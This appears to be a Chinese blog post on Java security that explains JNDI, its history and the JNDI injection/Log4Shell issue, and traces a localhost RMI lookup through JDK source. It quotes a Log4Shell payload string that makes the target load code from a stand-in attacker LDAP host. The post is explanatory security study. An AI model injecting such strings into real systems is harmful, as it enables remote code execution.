java安全-JNDI实现

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是Java企业级开发中一个非常有“时代印记”的技术

一 、JNDI

简单来说,JNDI 是 Java 提供的一套标准 API,它的主要作用是**“解耦应用代码与外部资源”**。它允许 Java 应用程序通过一个“名称”去寻找和使用外部的资源(比如数据库连接池、消息队列、分布式对象等),而不需要在代码里硬编码这些资源的具体连接信息

JNDI 主要包含两大服务:

  1. 命名服务 (Naming Service): 类似于“电话簿”。它将一个名字(Name)和一个对象(Object)绑定在一起。你在代码里给定一个名字,JNDI 就能还给你一个对象
    • 例子: 输入 java:comp/env/jdbc/myDB,它返回给你一个配置好的数据库连接池对象
  2. 目录服务 (Directory Service): 它是命名服务的扩展,类似于“黄页”。它不仅绑定名字和对象,还允许对象拥有各种“属性”(Attributes),你可以通过属性去搜索对象
    • 例子: LDAP(轻量级目录访问协议)就是典型的目录服务,你可以搜索“部门=研发部”的所有员工对象

JNDI 的架构设计:API 与 SPI 的分离

JNDI 最精妙的设计在于它分成了两层:

  • JNDI API (Application Programming Interface): 给 Java 开发者用的接口。你在代码里只管调用 Context.lookup("name"),不需要关心底层是哪种服务器

  • JNDI SPI (Service Provider Interface): 给各种服务器厂商和中间件用的接口。不同的服务(如 LDAP、RMI、DNS、CORBA)提供各自的 SPI 实现插件。只要插件接入了 JNDI,Java 开发者就能用同一套 API 去访问它们

  • JNDI常见服务

    服务类型 说明 Factory 类
    RMI Java 远程方法调用注册表 com.sun.jndi.rmi.registry.RegistryContextFactory
    LDAP 轻量目录访问协议 com.sun.jndi.ldap.LdapCtxFactory
    CORBA/IIOP 分布式对象 com.sun.jndi.cosnaming.CNCtxFactory
    DNS 域名解析 com.sun.jndi.dns.DnsContextFactory

二、 JNDI 的演进历程

1.辉煌时代(传统 J2EE / Java EE 时期)

在十几二十年前,企业级开发主要依赖重量级的应用服务器(如 WebLogic, WebSphere,甚至早期的 Tomcat)。

  • 当时的痛点: 数据库账号密码、连接池配置如果写死在代码里,每次修改都要重新编译打包
  • JNDI 的救赎: 运维人员在 WebLogic 服务器的控制台里配置好数据源,并给它起个 JNDI 名字(比如 jdbc/OrderDB)。开发人员在代码里直接 Lookup 这个名字就能拿到数据库连接。代码与配置完美解耦,JNDI 成为了企业级开发的绝对标准

2.平稳过渡期(Spring 框架崛起时期)

随着 EJB 被淘汰,Spring 框架凭借 IoC(控制反转)和 DI(依赖注入)成为了主流。

  • 变化: 开发者不再需要手动编写长长的一段 InitialContext.lookup() 样板代码了。
  • 现状: 底层依然在使用 JNDI(尤其是获取外部的 Tomcat 数据源时),但在业务代码层面,JNDI 被 Spring 的配置文件(如 <jee:jndi-lookup> 标签)隐藏了起来,存在感开始降低。

3.边缘化时期(微服务与云原生时代)

随着 Spring Boot、Docker 和 Kubernetes 的爆发,应用的部署方式发生了翻天覆地的变化。

  • 致命打击: 我们不再把应用部署到庞大的 WebLogic 服务器里了,而是将应用和内置的 Tomcat 打包成一个轻量级的可执行 Jar 包或 Docker 镜像。
  • 替代者出现: 资源解耦的任务交给了 环境变量、YAML 配置文件、以及分布式的配置中心(如 Nacos, Apollo, Spring Cloud Config)。JNDI 依赖外部容器管理的模式变得极其笨重且不合时宜,几乎在现代微服务开发中销声匿迹

4.漏洞爆发

因为安全漏洞

  • JNDI 注入攻击: 因为 JNDI 的设计允许程序动态地去远程服务器(如 RMI 或 LDAP 服务器)下载对象并执行它的代码。黑客利用这一点,让程序去 Lookup 一个恶意的远程地址,从而实现远程代码执行(RCE)。
  • Log4Shell 漏洞 (2021年): 轰动全球的 Log4j2 漏洞(CVE-2021-44228),正是因为 Log4j 允许在日志里解析 JNDI 字符串(如 ${jndi:ldap://hacker.com/Exploit})。这给了 JNDI 的声誉致命一击,现在很多安全规范都要求默认禁用 JNDI 的远程类加载功能。

三、JNDI实现

1.demo-JNDI+RMI

server

chuan/rmi/RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 实例化远程对象
RemoteObj remoteObj = new RemoteObjImpl();
// 创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定对象示例到注册中心
registry.bind("remoteObj", remoteObj);

}
}

chuan/rmi/JNDIRMIServer.java

1
2
3
4
5
6
7
8
9
10
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();

initialContext.bind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());

// Reference refObbj = new Reference("RemoteObjImpl", "RemoteObjFactory", null);

}
}

client

chuan/rmi/JNDIRMIClient.java

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello world"));
}
}

本质上就是 JNDI 中包了一个rmi

2.具体实现

chuan/rmi/JNDIRMIClient.java客户端获取JNDI对象

1
RemoteObj remoteObj  = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");

javax/naming/InitialContext.java

1
2
3
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}

D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext.class

image-20260225160334790

D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.class

image-20260225160548817

接着调用lookup方法,进入RegistryImpl_Stub.class中的逻辑,也就代表这里选择了rmi服务

image-20260225160621696

本质上

image-20260225160806248

image-20260225161119533